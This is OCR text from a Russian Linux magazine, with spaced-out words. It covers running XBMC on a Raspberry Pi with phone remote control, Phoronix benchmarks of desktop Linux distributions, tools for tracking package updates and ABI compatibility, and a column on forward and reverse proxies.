уст рой ст ва, зай ди те в ка та лог с рас па ко ван ным 
ар хи вом и на бе ри те sudo �/create_sdcard /dev/sdX, 
за менив имя уст рой ст ва на свое. По сле окон чания 
про цес са у вас поя вит ся ра бо чая вер сия XBMC, за
гру жаю щая ся пря мо с Raspberry Pi. |

При под клю чении XBMC к те ле ви
зо ру без уда лен но го пуль та не обой
тись. По сколь ку мы в Linux, раз лич
ных ре шений столь ко же, сколь ко 
ди ст ри бу ти вов. На при мер, мож но 
на стро ить ин фра крас ные пе ре дат
чи ки и при емники с по мо щью LIRC или 
ку пить уст рой ст ва, про грам ми руе мые 
на от прав ку ком би на ций кла виш кла
виа ту ры. Но про ще все го взять свой 
мо биль ный те ле фон. Для уст ройств 
Apple и Android есть бес плат ное офи
ци аль ное при ло жение – его мож но 
за гру зить и уста но вить, и оно бу дет 
от прав лять управ ляю щие сиг на лы 
на XBMC, при чем вам не при дет ся 
бес по ко ить ся о пря мой ви ди мо сти 
или уровне сиг на ла. Для уда лен но го 
управ ления из Android сна ча ла нуж но 

вклю чить управ ление XBMC че рез 
HTTP [Allow control of XBMC via HTTP] 
в ме ню Settings > Services > Webserver 
[На строй ки > Сер ви сы > Webсер
вер]. При этом на ком пь ю те ре с XBMC 
за пуска ет ся webсер вер, по это му 
те перь, от крыв в лю бом брау зе ре порт 
8080 IPад ре са сво его ком пь ю те ра 
с XBMC, на при мер, http://localhost:8080, 
вы уви ди те ин тер фейс и смо же те 
управ лять воспро из ве дением.

По сле уста нов ки при ло жения на уст
рой ст во с Android вам нуж но лишь 
до ба вить кноп ку Add Host [До ба вить 
хост]. От кро ет ся но вое ок но на строй ки 
сер ве ра XBMC. Оно вы гля дит пу гаю ще, 
но по су ти все про сто. Про сто вве ди те 
чтото опи са тель ное в по ле Description 
[Опи сание] и IPад рес ком пь ю те ра, 

на ко то ром за пу щен кли ент. Что бы 
уз нать IPад рес, мож но ли бо за гля
нуть в се те вой ап плет сво его ком пь ю
те ра, ли бо на брать ifconfig в команд
ной стро ке. Так же нуж но убе дить ся, 
что пор ты за да ны как 8080 и 9090. 
На жми те Save [Со хранить], и смо же те 
управ лять сво им се ан сом XBMC уда
лен но. Са мым удоб ным нам по ка зал ся 
пункт глав но го ме ню Remote Control 
[Уда лен ное управ ление]: он пре вра
ща ет ваш те ле фон в на стоя щий пульт 
управ ления. А с по мо щью дру гих пунк
тов ме ню мож но управ лять кон тен том.

> Pivos XIOS DS — ос нов ное це ле вое уст рой ст во для Android-вер сии XBMC, и, сле до ва тель но, все но вые 
воз мож но сти долж ны вы хо дить сна ча ла для не го� Наш об зор уст рой ст ва см� на стр� 16�

> Ис поль зуй те как пульт управ ле ния 
свой те ле фон Apple или Android — 
и на век за будь те об ин фра крас ных 
пе ре дат чи ках и при ем ни ках�

От Raspberry Pi до Apple TV – XBMC за пуска ет ся вез де.

«Же ле зо» для XBMC

Уда лен ное управ ление
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Б
езуслов но, вынесен ная в за го ло вок фра за в из вест ной 
сте пени аб сурд на. Ес ли рас смат ри вать во прос с прак ти че
 ской точ ки зрения, то глав ный кри те рий, по ко то ро му вы

би ра ют сис те му для де ск то па – это удоб ст во. Су гу бо субъ ек тив
ный кри те рий, осме люсь за ме тить.

Конеч но, есть ка каято все об щая эр го но ми ка, но, при ме няя ее 
к кон крет но му че ло ве ку, сра зу стал ки ва ешь ся с та ким ко ли че
 ст вом ис клю чений, что раз го вор о ней ча ще те ря ет вся кий смысл. 
Сви де тель ст во то му – мно го чис лен ные «хо ли ва ры», пе рио ди че
 ски со тря саю щие се те вое про стран ст во.

Тем не менее, по пыт ки объ ек тив но сравнить на столь ные сис те
мы бы ли, есть и бу дут. В ча ст но сти, сра зу же по сле вы хо да Phoronix 
Test Suite 1.0 со стоя лось тес ти ро вание ди ст ри бу ти вов Ubuntu 8.04, 
Fedora 9 и Mandriva 2011.1. А при тес ти ро вании раз лич ных вер сий 
Ubuntu бы ло об на ру же но «тор мо жение» сис те мы с ростом вер сий.

Ме то ди ка тес ти ро вания
Итак, ин ст ру мент для объ ек тив но го сравнения – Phoronix Test 
Suite. Точнее, сле дую щие тес ты:

 » Cray (пол ная на груз ка на про цес сор);
 » Compressgzip (сжа тие gzip, про цес сор ный тест);
 » Encodeflac (ко ди ро вание flac, про цес сор ный тест);
 » Encodemp3 (ко ди ро вание MP3, про цес сор ный тест);
 » Ffmpeg (ко ди ро вание ffmpeg, про цес сор ный тест);
 » Pgbench (за про сы PostgreSQL, об щая про из во ди тель ность);
 » Phpbench (за про сы PHP, об щая про из во ди тель ность);
 » Renderbench (рен де ринг, гра фи че  ская под сис те ма).
Тес то вый но ут бук – Dell Vostro V130 (про цес сор и ви део от Intel, 

опе ра тив ной па мя ти – 4 ГБ). Ни ка кой эк зо ти ки, обыч ная поль зо
ва тель ская ма ши на.

В ис сле до вании принима ли уча стие ру си фи ци ро ван ные ди ст
ри бу ти вы, яв но пред на зна чен ные для уста нов ки на столь ных сис
тем и вклю чив шие па кет Phoronix в ре по зи то рий (неваж но, офи ци
аль ный или нет). По это му в неко то рых по пу ляр ных сис те мах – ALT 
Linux, Gentoo и Arch Linux – тес тирование не производилось. Ус ло
вие вхо ж дения в ре по зи то рий вы зва но эле мен тар ным ува жением 
к со об ще ст ву раз ра бот чи ков ди ст ри бу ти ва. Ес ли раз ра бот чи ки ре
ши ли не вклю чать при ло жение в ре по зи то рий, зна чит, они не хо тят, 
что бы в их сис те ме за пуска лись тес ты. Име ют на это пол ное пра во. 

А вот с ме то ди кой оцен ки ре зуль та тов по лу чи лась за мин ка. 
Для боль шей объ ек тив но сти бы ло ре ше но ниче го не при ду мы
вать са мо му, а спро сить со ве та у со об ще ст ва. Увы, мнение боль
шин ст ва ока за лось хоть и по нят ным, но контр про дук тив ным: 
«по сколь ку ника ко го прак ти че  ско  го смыс ла в этих тес тах нет, 
то блажь все это». 

По это му бу дет при менена сле дую щая ме то ди ка. Сис те мы, за
няв шие три пер вых мес та, по лу ча ют по од но му бал лу. По бе ди те
лем счи та ет ся ди ст ри бу тив, по лу чив ший боль ше бал лов в сво ей 
ка те го рии.

Впро чем, ес ли вы не со глас ны с этой ме то ди кой, то никто 
не ме ша ет вам при ду мать дру гую и при менить ее для соб ст вен
но го ва ри ан та ран жи ро вания. Тем бо лее, что ре зуль та ты тес тов – 
пе ред ва ми. 

> Тест ffmpeg в сис-
те ме Kubuntu�

Объ ек тив ное сравнение  
на столь ных сис тем 
Сер гей Го лу бев за те ял по вер ку ал геб рой ка че  ст ва по пу ляр ных ди ст ри бу ти вов.

32-раз ряд ные сис те мы с ра бо чим сто лом KDE 4

Ре зуль та ты тес ти ро ва ния

Тест/Ди ст ри бу тив
C-ray, с

Мень ше – луч ше
Compress-gzip, с
Мень ше – луч ше

Encode-flac, с
Мень ше – луч ше

Encode-mp3, с
Мень ше – луч ше

Ffmpeg, с
Мень ше – луч ше

Pgbench
Больше – луч ше

Phpbench
Больше – луч ше

Render bench, с
Мень ше – луч ше

ROSA.Desktop.Fresh.2012.i586 288,67 37,45 25,30 58,92 52,69 172,17 24615 43,94

Kubuntu12.10desktopi386 277,31 34.98 24,72 53,72 55,36 175,27 28754 46,66

Mageia2i586KDE 428,49 38,64 24,98 59,02 – 168,53 18803 49,66

openSUSE12.3KDELiveCDi686 287,73 31,92 24,74 59,09 52,34 184,88 25163 –

По бе ди те ли тес тов

C-ray Compress-gzip Encode-flac Encode-mp3 Ffmpeg Pgbench Phpbench Render bench

Kubuntu openSUSE Kubuntu Kubuntu ROSA openSUSE Kubuntu ROSA

openSUSE Kubuntu openSUSE ROSA openSUSE Kubuntu openSUSE Kubuntu

ROSA ROSA Mageia openSUSE Kubuntu ROSA ROSA Mageia

ИТО ГО БАЛЛОВ:
» Kubuntu  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  8
» ROSA  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  7
» openSUSE  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  6
» Mageia  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  2
По бе ди тель в но ми на ции – Kubuntu
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32-раз ряд ные сис те мы с ра  бо  чим сто лом Gnome 3 (Unity)
Тут необ хо ди ма неболь шая пре ам бу ла. Ес ли вкрат це, то нель зя 
об нять необъ ят ное. А ес ли под роб но, то рас смот реть все ди ст ри
бу ти вы со все ми ра бо чи ми сто ла ми за сколь конибудь ра зум ное 
вре мя не пред став ля ет ся воз мож ным. Тем бо лее, что тео ре ти че
 ски ре зуль тат од но го и то го же ис пы тания на од ной и той же сис
те ме не дол жен за ви сеть от ти па ра бо че го сто ла.

По это му в ка че  ст ве до полнитель но го ис пы тания бы ли за пу
ще ны тес ты толь ко на 32раз ряд ных сис те мах с ра бо чим сто лом 
Gnome 3. Вы бор раз ряд но сти обу слов лен тем, что имен но та кую 
вер сию ре ко мен ду ет при уста нов ке ком пания Canonical. Ни ка ко
го дру го го смыс ла в этом нет – про сто пред по ла га лось, что боль
шин ст во поль зо ва те лей вы бе рет имен но ва ри ант по умол чанию. 

64-раз ряд ные сис те мы с ра бо чим сто лом KDE 4

Ре зуль та ты тес ти ро ва ния

Тест/Ди ст ри бу тив
C-ray, с

Мень ше – луч ше
Compress-gzip, с
Мень ше – луч ше

Encode-flac, с
Мень ше – луч ше

Encode-mp3, с
Мень ше – луч ше

Ffmpeg, с
Мень ше – луч ше

Pgbench
Больше – луч ше

Phpbench 
Больше – луч ше

Render bench, с
Мень ше – луч ше

ROSA.Desktop.Fresh.2012.x86_64 187,71 35,71 21,76 48,70 48,82 180,34 29409 45,55

openSUSE12.3KDELivex86_64 187,58 35,01 21,74 49,23 48,04 174,06 32133 –

Kubuntu12.10desktopamd64 186,45 34,75 21,17 47,63 51,32 173,37 35050 35,73

Mageia2x86_64KDE 261,20 35,93 22,33 48,86 45,59 177,45 24626 33,95

По бе ди те ли тес тов

C-ray Compress-gzip Encode-flac Encode-mp3 Ffmpeg Pgbench Phpbench Render bench

Kubuntu Kubuntu Kubuntu Kubuntu Mageia Kubuntu Mageia Mageia

openSUSE openSUSE openSUSE ROSA openSUSE openSUSE ROSA Kubuntu

ROSA ROSA ROSA Mageia ROSA Mageia openSUSE ROSA

ИТО ГО БАЛЛОВ:
» ROSA  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  7
» Kubuntu  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  6
» openSUSE  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  6
» Mageia  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  5
По бе ди тель в но ми на ции – ROSA

ОБ ЩИЕ РЕ ЗУЛЬ ТА ТЫ:
» Kubuntu  ��������������������������������������������������������  14
» ROSA  ����������������������������������������������������������������  14
» openSUSE  �����������������������������������������������������  12
» Mageia  ������������������������������������������������������������  7

Ре зуль та ты тес ти ро ва ния

Тест/Ди ст ри бу тив
C-ray, с

Мень ше – луч ше
Compress-gzip, с
Мень ше – луч ше

Encode-flac, с
Мень ше – луч ше

Encode-mp3, с
Мень ше – луч ше

Ffmpeg, с
Мень ше – луч ше

Pgbench
Больше – луч ше

Phpbench
Больше – луч ше

Render bench, с
Мень ше – луч ше

ROSA.Desktop.Fresh.2012.GNOME.i586 288,60 37,27 25,22 58,89 52,33 172,64 24673 33,08

Ubuntu12.10desktopi386 283,22 35,15 24,71 53,96 55,17 176,06 28892 48,87

Llinuxmint14.1matedvd32bit 277,38 35,13 24,66 53,82 55,36 174,71 28669 48,79

Mageia2i586GNOME 427,07 38,25 24,93 59,12 – 166,74 18878 51,28

openSUSE12.3GNOMELivei686 287,36 32,27 24,76 59,13 52,70 173,31 25820 –

RFRemix18i686LiveGNOME 278,95 39,69 25,20 55,84 53,73 176,63 28460 –

По бе ди те ли тес тов

C-ray, с Compress-gzip Encode-flac Encode-mp3 Ffmpeg Pgbench Phpbenc Render bench

Llinuxmint openSUSE Llinuxmint Llinuxmint ROSA RFRemix Ubuntu ROSA

RFRemix Llinuxmint Ubuntu Ubuntu openSUSE Ubuntu Llinuxmint Llinuxmint

Ubuntu Ubuntu openSUSE RFRemix RFRemix openSUSE RFRemix Ubuntu

ИТО ГО БАЛЛОВ: 
» Ubuntu  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  7
» Linux Mint  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  6
» RFRemix  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  5
» openSUSE  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  4
» ROSA  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  2
По бе ди тель в но ми на ции – Ubuntu

Ду маю, не силь но оши бусь, ес ли пред по ло жу, что имен но 
Ubuntu – са мая по пу ляр ная сис те ма у по клонников ин тер фей са 
Gnome. То есть ре зуль та ты тес тов пол но стью со от вет ст ву ют вы
бо ру поль зо ва те лей. |

Та ким об ра зом, луч шие ди ст ри бу ти вы для по клонников KDE – 
Kubuntu и ROSA. Ме ж ду про чим, ROSA – оте че  ст вен ная сис те ма, 
что вдвойне при ят но.
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О
сновная деятельность разработчиков дистрибутивов 
Linux (мейнтейнеров) заключается глав ным образом 
в объединении уже существующих различных свобод

ных компонентов в еди ный про грамм ный ком плекс для решения 
задач пользователей. Основными примерами таких компонентов 
являются ядро, библиотеки, утилиты и пользовательские прило
жения. При этом в процессе интеграции нового компонента в си
стему у мейнтейнера, как пра
вило, есть широкий выбор 
среди множества различных 
версий этого компонента – ста
рые или новые, стабильные 
или экспериментальные, и т. д.

Выбор той или иной версии 
компонента зависит от поставленных целей конкретного дистри
бутива. Уп ро щен но – если дистрибутив предназначен для сер
верных станций, то выбор падает на старые стабильные версии 
программ, которые уже проверены временем. Если же дистрибу
тив предназначен для настольных компьютеров домашних поль
зователей, то выбирают бо лее све жие версии с мак си му мом но
вых функ ций. Но какая бы версия компонента ни была вы брана, 
со временем его приходится обновлять для предоставления 

пользователям большей функциональности, либо для исправле
ния ошибок и уязвимостей.

Обновление пакетов
Главным условием при обновлении любого пакета в со ста ве кон
крет но го ди ст ри бу ти ва является работоспособность этого па
кета после обновления, а так же работоспособность остальных 

пакетов, связанных с данным. 
Имен но изза на ли чия за ви си
мо стей об нов ление пакета пре
вра ща ет ся в нетри ви аль ную 
за да чу, решение которой при
хо дит ся раз би вать на несколь
ко последовательных этапов. 

Сначала мейнтейнеру необ хо ди мо узнать о появлении новой 
версии исходного кода компонента у его авторов (в апстриме – 
от анг лий ско го upstream). Затем необходимо проанализировать 
изменения в исходном коде и адаптировать новую версию 
компонента к кон крет но му ди ст ри бу ти ву (это мо жет вклю чать как 
из менения ко да, так и до ра бот ку спе ци фи ка ци он но го фай ла па
ке та) с уче том всех за ви си мо стей. При этом за ви си мые ком по
нен ты и ком понен ты, от ко то рых за ви сит дан ный, то же, воз мож
но, при дет ся ре кур сив но об нов лять. Фи наль ным ша гом яв ля ет ся 
про вер ка ре аль ной ра бо то спо соб но сти об нов лен но го компонен
та, в ре зуль та те ко то рой час то при хо дит ся воз вра щать ся к пре ды
ду ще му ша гу.

Задача по обновлению пакетов значительно осложняется тем, 
что количе ство пакетов в современных дистрибутивах достигает 

Поддержка пакетной базы 
дистрибутива в актуальном 
состоянии
Ан д рей По но ма рен ко и Вла ди мир Ру ба нов опи сы ва ют комплексный подход 
к обновлению пакетов.

«Выбор версии компо-
нента зависит от по-
ставленных целей.»

> Стра нич ка 
мониторинга 
и анализа новых 
версий библиотеки 
libssh в Upstream 
Tracker’е�

> За ви си мость от времени среднего количества несовместимых 
изменений в апстриме библиотек, по данным Upstream Tracker’а�
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величины нескольких десятков тысяч, за ви си мо сти ме ж ду ними 
пе ре пле те ны в клу бок, и на одного мейнтейнера может прихо
диться ответственность за несколько сотен пакетов. Для ор
ганиза ции ра бо ты мейн тейнера в та ких усло ви ях необ хо ди мы 
специальные автоматизированные инструменты.

Виды зависимостей между пакетами
Зависимости между компонентами системы могут быть двух ви
дов: прямые и обратные. Прямые зависимости – это все компо
ненты, необходимые данному. Обратные же зависимости – это за
ви си мые компоненты, которым требуется данный компонент.

Как бы ло от ме че но ранее, при обновлении какоголибо компо
нента, необходимо также обновить или адаптировать все его пря
мые и об рат ные зависимости.

Начинающие мейнтейнеры часто обращают внимание только 
на прямые зависимости, поскольку они непосредственно влия
ют на сборку их компонента, и, как правило, забывают о проверке 
обратных зависимостей. В результате этого сборка обратных за
висимостей может быть нарушена, что может привести к частич
ной неработоспособности дистрибутива и, тем самым, серьезно 
помешать работе других мейнтейнеров.

Совместимость пакетов
Сборка обратных зависимостей компонента может быть нарушена 
при его обновлении, если нарушается совместимость между 
ними. Совместимость бывает трех типов. Наиболее важным типом 
является совместимость на уровне исходных кодов, которая озна
чает возможность взаимной пересборки компонентов без оши
бок. Следующим типом является двоичная совместимость меж
ду компонентами, которая означает возможность работы одного 
компонента после обновления другого без пересборки и наобо
рот. И, наконец, различают функциональную совместимость, ко
торая означает корректное се ман ти че  ское взаимодействие.

Немаловажным понятием также является обратная совмести
мость компонента. Вместо про
верки совместимости между 
разными компонентами можно 
эквивалентно проверять сов
местимость между старыми 
и новыми версиями каж дого 
из них. Например, обратная 
двоичная совместимость позволяет заменить компонент в систе
ме на более новый без необходимости пересборки вышестоящего 
стека программ. Этим свойством часто пользуются мейнтейнеры 
для ускорения своей работы, так как порой количе ство обратных 
зависимостей системных библиотек может быть очень большим, 
и их пересборка заняла бы слишком много времени.

Анализ изменений в пакетах
Перед тем как интегрировать новую версию компонента в дистри
бутив, мейнтейнеру необходимо убедиться, что ни один из трех 
типов совместимости не будет нарушен. Для этого он может ис
пользовать различные инструменты в зависимости от вида 
компонента. 

Самым распространенным видом компонента в дистрибутивах 
Linux, имеющим обратные зависимости, являются библиотеки. 
Для проверки совместимости системных библиотек используют 
инструмент ABI Compliance Checker [1]. Данный инструмент про
веряет только структурную совместимость, т. е. двоичную совме
стимость и совместимость на уровне исходных кодов. Функцио
нальную же совместимость мейнтейнер должен проверять либо 
с помощью встроенных тестов компонента или вручную. Инстру
мент проверяет изменения в заголовочных файлах библиотеки 
или, что эквивалентно, в debugинформации двоичных файлов 
библиотеки.

Для других видов компонентов может быть использован ин
струмент PkgDiff [2], который позволяет визуализировать 
и классифицировать изменения в новой версии компонента. 
На основе его отчета мейнтейнер может самостоятельно проана
лизировать совместимость изменений. Инструмент может срав

нивать архивы с исходным 
кодом, а также двоичные RPM 
или Deb пакеты.

При анализе изменений 
в первую очередь надо уделять 
внимание внешним интерфей
сам компонента, т. е. файлам 

и функциям, которые могут быть использованы в других компо
нентах. В каче стве примера внешних интерфейсов можно приве
сти заголовочные файлы библиотек, публичные классы и функ
ции в них, двоичные файлы библиотек, опции утилит и т. д.

Обычно в конкретном дистрибутиве используется только часть 
внешних интерфейсов компонента. Такие интерфейсы называют 
активными, и только в них, по возможности, мейнтейнерам надо 
проверять изменения. Например, в некоторых библиотеках может 
использоваться только одна функция, и нет никакой необходимо
сти проверять остальные. Однако определить активные и неак
тивные интерфейсы порой довольно сложно.

Мониторинг апстрима
Задача обновления большого количе ства компонентов значитель
но упрощается при наличии у дистрибутива специальных систем 
мониторинга активности апстрима. Такие системы периодиче ски 
проверяют репозитории компонентов дистрибутива в апстри
ме и уведомляют мейнтейнеров о наличии новых версий. Систе
ма мониторинга в дистрибутиве Fedora [3] не только оповещает 
мейнтейнеров о новых версиях, но и сама заводит баги о необ
ходимости обновления. Некоторые системы мониторинга могут 
также проводить анализ новых версий. Например, система мони
торинга апстрима в дистрибутиве ROSA под названием Upstream 
Tracker [4] производит анализ обратной совместимости библиотек 

«Определить активные 
и неактивные интер-
фейсы сложно.»

> От чет 
об изменениях 
в исходном коде 
компонента, 
полученный 
с помощью 
инструмента 
PkgDiff�
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и вы кла ды ва ет отчеты в публичный доступ. По этой причине она 
востребована не только мейнтейнерами РОСЫ, но и мейнтейне
рами других дистрибутивов, а также пользователями и авторами 
библиотек в апстриме.

Слежение за другими дистрибутивами
Для раз ра бот ки и под дер жания ак ту аль но сти ди ст ри бу ти вов 
важ но иметь све жие вер сии ком понен тов. Од на ко при этом нет 
необ хо ди мо сти иметь са мые по следние вер сии из ап ст ри ма, ко
то рые мо гут быть слиш ком неста биль ны ми. Здесь важ но от сле
жи вать ис поль зо вание раз лич ных вер сий оп ре де лен но го ком
понен та кол ле га ми – раз ра бот чи ка ми дру гих ди ст ри бу ти вов, что 

косвен но слу жит по ка
за те лем ста биль но сти 
той или иной вер сии. 
Для это го необ хо ди
мо уметь сис те ма ти че
 ски сравнивать вер сии 
про грамм в сво ем ди

ст ри бу ти ве с вер сия ми у кол лег и оп ре де лять уста рев шие. В ди
ст ри бу ти ве Mandriva, на при мер, ис поль зу ют от чет [5], в ко то
ром про из во дит ся сравнение с вер сия ми па ке тов ди ст ри бу ти ва 
Mageia. А в ди ст ри бу ти ве ROSA ис поль зу ет ся ав то ма ти зи ро ван
ная сис те ма Updates Tracker [6], ко то рая не толь ко про из во дит 
сравнение с ди ст ри бу ти ва ми Mandriva и Mageia (до бав ление сле
жения за дру ги ми ди ст ри бу ти ва ми на хо дит ся в про цес се), но и 
на хо дит по следние вер сии про грамм в ори ги наль ном ап ст ри ме, 
по зво ляя ана ли зи ро вать ком плекс ную кар ти ну для при ня тия ре
шений о необ хо ди мо сти об нов ления тех или иных ком понен тов.

Совместимость дистрибутивов
Различные производители придерживаются различных политик 
совместимости последовательных версий дистрибутивов и их об
новлений с точки зрения сохранения работоспособности прило
жений (в первую очередь важно сохранение двоичной совмести
мости – для того, чтобы коммерче ские приложения оставались 
рабочими без пересборки после обновления системы). Некоторые 

последовательные версии могут быть совместимыми, но в неко
торых приходится нарушать совместимость ради возможности 
дальнейшего развития дистрибутива. Обновления в рамках од
ной мажорной версии у большинства дистрибутивов принято вы
пускать обратно совместимыми. 

Для проверки совместимости исходного и обновленного ди
стрибутива есть несколько способов. В автоматиче ском режиме 
совместимость всех системных библиотек может быть проверена 
с помощью специальных опций уже известного нам инструмента 
ABI Compliance Checker. Другой метод предполагает построение 
визуального отчета об изменениях в дистрибутиве с помощью ин
струмента DistDiff [7]. С помощью него мейнтейнер может быстро 
проанализировать все изменения в пакетах на совместимость.

Заключение
Обновление пакетов – одна из основных и наиболее важных задач 
мейнтейнеров дистрибутивов Linux. От скорости выполнения этой 
задачи зависит актуальность дистрибутива для сообщества поль
зователей, от каче ства – стабильность и совместимость новых 
релизов и обновлений. Оба эти показателя можно сущест венно 
улучшить, если использовать упомянутые в статье свободные ин
струменты автоматизации разработки. |

1 ABI Compliance Checker, https://github.com/lvc/
abicompliancechecker/ 

2 PkgDiff, http://pkgdiff.github.com/pkgdiff/ 
3 Fedora Upstream Release Monitoring, http://fedoraproject.org/

wiki/Upstream_release_monitoring 
4 Upstream Tracker, http://upstreamtracker.org/ 
5 Mageia vs Cooker packages report, http://mib.pianetalinux.org/

mgamdv.html 
6 Updates Tracker, http://upstreamtracker.org/updates/rosa/2012/ 
7 DistDiff, https://github.com/lvc/distdiff

По лез ные ссылки

«Необ хо ди мо уметь 
сис те ма ти че  ски 
сравнивать вер сии.»

> ROSA Updates 
Tracker — 
сравнение РОСЫ 
с родственными 
дистрибутивами 
Mandriva и Mageia�

> От чет о со вмес ти мо сти двух вер сий биб лио те ки, 
сге не ри ро ван ный ин ст ру мен том ABI Compliance Checker.
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М
ой Окс форд ский сло варь анг лий ско
го язы ка оп ре де ля ет про кси как «ли цо, 
имею щее пра во вы сту пать от имени 

дру го го ли ца, осо бен но при го ло со вании». В сфе
ре ком пь ю те ров это сло во име ет по хо жее зна
чение: про ксисер вер вы сту па ет по средником для 
кли ен тов, за пра ши ваю щих ре сур сы (обыч но web
страницы) у дру гих сер ве ров. Вы, небось, зна ли 
это дав но, а я со всем недав но уз нал разницу ме ж
ду пря мым и об рат ным про кси. И вот что я на рыл...

Пря мой про кси рас по ло жен ря дом с кли ен том 
(брау зе ром), обыч но в локаль ной кор по ра тив ной 
се ти. Он об слу жи ва ет ог раничен ное чис ло кли
ен тов, но мо жет пе ре на прав лять их на боль шое 
чис ло це ле вых сер ве ров – хоть на весь Ин тернет. 
Кли ент дол жен знать, что он обя зан от прав лять 
за про сы че рез про кси, и вы на вер ня ка уже бо да
лись с на строй ка ми в окне брау зе ра, что бы со об
щить ему об этом. Пря мые про кси обыч но ис поль
зу ют ся в кор по ра тив ных се тях, где они по вы ша ют 

про из во ди тель ность за счет кэ ши ро вания ре зуль
та тов недавних за про сов и по вы ша ют безо пас
ность, фильт руя тра фик на за дан ные сай ты.

Об рат ный про кси рас по ло жен ря дом с це ле
вы ми сер ве ра ми, обыч но в той же се ти. Для кли
ен та этот про кси вы гля дит как сам сер вер. Кли
ент не зна ет, что его за прос пе ре на прав ля ет ся. 
Об рат ный сер вер об слу жи ва ет за про сы от боль
шо го чис ла кли ен тов, но мо жет пе ре на прав лять 
их на ог раничен ное чис ло сер ве ров. Об рат ные 
про кси иногда ис поль зу ют ся для ба лан си ров
ки на груз ки, когда кла стер сер ве ров рас по ло жен 
за одним про кси. Иногда они воз вра ща ют ста
ти че  ский кон тент сай та, а за про сы на ди на ми че
 ский кон тент пе ре на прав ля ют на дру гой сер вер. 
На при мер, webсер вер Apache мож но ис поль зо
вать в ка че  ст ве кли ен та Tomcat, при этом Apache 
бу дет от ве чать за ста ти че  ский кон тент, а Tomcat – 
за серв ле ты Java и страницы JSP.

Эзо те ри че ское сис тем ное ад ми ни ст ри ро ва ние 
из при чуд ли вых за во ро тов ки шок сер вер ной

L
inux пред ла га ет вы бор, а про прие
тар ные сис те мы его ог раничи ва ют. 
Но не мо жет ли вы бор быть слиш ком 

боль шим? В су пер мар ке те я ка ж дый раз ви
жу по ку па те лей, за стыв ших в нере ши тель
но сти у при лав ка с олив ка ми или ово ща ми 
толь ко по то му, что вы бор у них слиш ком ве
лик. Я ви дел и по тен ци аль ных поль зо ва те лей 
Linux, со мневаю щих ся в вы бо ре ди ст ри бу ти
ва, по то му что на www.distrowatch.com они 
на шли как минимум 100 ва ри ан тов – и да же 
оста но вив шись на од ном из них, об на ру жи
ли, что у него есть на столь ная и сер вер ная 
вер сии, 32 и 64бит ные вер сии и т. д.

Эти за труднения от оби лия при ве ли к по
яв лению «дис тро нар ко ма нов», неустан но 
пры га ющих с ди ст ри бу ти ва на дистрибутив 
в на де ж де най ти иде аль ный Linux, а как мне 
ка жет ся – что бы по лу чить оче ред ную до зу 
прыж ков или про сто поиграть с но вин кой.

За да ем стан дарт
Со стан дар та ми де ла об сто ят не луч ше. 
Ком пь ю те ры ныне хра нят и об ра ба ты ва
ют чис ла, текст, изо бра жения, звук и ви део. 
Но по су ти они все го лишь опе ри ру ют ну ля ми 
и единица ми, по это му нам нуж ны стан дар ты, 
ко то рые оп ре де ля ют пред став ление этих 
вы со ко уровневых форм дан ных.

Сто ит, од на ко, вый ти за рамки скром но го 
32бит но го це ло го чис ла, и на ши по пыт ки 
сде лать эти стан дар ты... ээ... стан дарт ны ми 
с трес ком про ва лят ся. В Ви ки пе дии пе ре чис
ле но бо лее 80 фор ма тов изо бра жений и око
ло 30 фор ма тов зву ко вых фай лов. С фор ма
та ми фай лов муль ти ме диа и то го ху же: тут 
есть не толь ко раз ные фор ма ты ко ди ро вания 
ау дио и ви део по то ков, но и раз ные фор ма
ты кон тейнеров, объ е ди няю щих по то ки. Про
сти те, но здесь мне вы бор не ну жен. Я бы 
пред по чел иметь один фор мат, ко то рым бы 
все поль зо ва лись и ко то рый понима ли бы 
все уст рой ст ва.

Лич но я ду маю, что у нас долж на быть 
воз мож ность вы би рать, ка кой у нас дол жен 
быть вы бор.

По рецептам
доктора Брауна

Д-р Крис Браун
Доктор обучает, пишет и консультирует по Linux. 
Ученая степень по физике элементарных частиц 
ему в этом совсем не помогает.

Со сло ва рем в ру ках Док тор изу ча ет разницу 
ме ж ду пря мым и об рат ным про кси.

Ска зка о двух про кси

Пе ре бор с вы бо ром

Squid

Ес ли за гру жен мо дуль mod_proxy, в ка че  ст ве 
про кси мож но ис поль зо вать по пу ляр ный web
сер вер Apache. А ес ли вам ну жен от дель ный 
про кси, попробуйте Squid (www.squidcache.
org), при ло жение с от кры тым ис ход ным ко дом: 
мно гие про вай де ры ис поль зу ют его как пря мой 
про кси для кэ ши ро вания ре зуль та тов и по вы
шения про из во ди тель но сти, а вы со ко на гру жен
ные сай ты типа Ви ки пе дии – как об рат ный.chris.linuxformat@gmail.com

Кли ен ты

Кли ент

Сер вер

Сер ве ры

Пря мой 
про кси

Об рат ный 
про кси

Ин тер нет

Ин тер нет

> Пря мые про кси рас по ло же ны ря дом с кли ен та ми, 
а об рат ные — ря дом с сер ве ра ми�
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это му раз бе рем ее по сте пен но. Для на ча ла об ра тим ся к схе ме 
на стр. 64, где де таль но по ка за но, как ра бо та ют webпри ло жения.

Боль шин ст во при ло жений сле ду ют этим шес ти эта пам. Нам 
нуж но усво ить, как управ ление пры га ет ме ж ду брау зе ром и сер
ве ром – чи та тель за пра ши ва ет стар то вую страницу при ло жения, 
сер вер от прав ля ет фор му, чи та тель ее за пол ня ет, сер вер об ра ба
ты ва ет за прос, чи та тель восхи ща ет ся ре зуль та та ми и т. д. У мо
ло дых webраз ра бот чи ков про блем с этим нет, но по жи лым про
грам ми стам вро де ме ня, ко то рые всю жизнь пи са ли мо но лит ный 
код, где все про ис хо ди ло в од ной про грам ме на од ном ком пь ю
тере, нуж но вре мя на пе ре строй ку.

Шаг 1: Сбор дан ных от поль зо ва те ля
